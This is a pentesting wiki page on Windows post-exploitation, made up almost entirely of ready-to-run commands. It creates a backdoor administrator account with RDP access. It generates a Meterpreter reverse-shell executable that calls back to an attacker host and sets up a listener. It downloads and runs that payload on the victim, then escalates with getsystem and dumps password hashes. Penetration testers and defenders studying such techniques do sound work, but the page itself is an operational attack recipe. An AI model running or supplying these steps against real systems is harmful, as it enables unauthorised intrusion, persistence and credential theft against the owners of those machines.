> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/infra-pentesting/windows-postexploitation/add-rdp-account-and-ride-on-meterpreter.md). # Add RDP Account & Ride on Meterpreter with initial foothold ## Remote Desktop ```powershell net user pentest Pen.TE$t2024!1 /ADD net localgroup "Remote Desktop Users" pentest /add net localgroup "Administrators" pentest /add ``` ### Meterpreter Payload generation ```sh use payload/windows/meterpreter/reverse_tcp set lhost=10.9.254.6 set lport=8888 generate -f exe -o /var/www/html/meterpreter.exe ``` Metasploit listener for meterpreter payload ``` use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.9.254.6 set lport 8888 run ``` ## Transfer meterpreter.exe ``` apache2ctl start ``` Connect via RDP to the victim and start powershell ``` $URL="http://10.9.254.6/meterpreter.exe" $Path="C:\Users\pentest\meterpreter.exe" Invoke-WebRequest -URI $URL -OutFile $Path ``` ## Run meterpreter.exe Start meterpreter.exe "As Administrator"

## Getsystem & hashdump ``` meterpreter> getsystem meterpreter> hashdump ```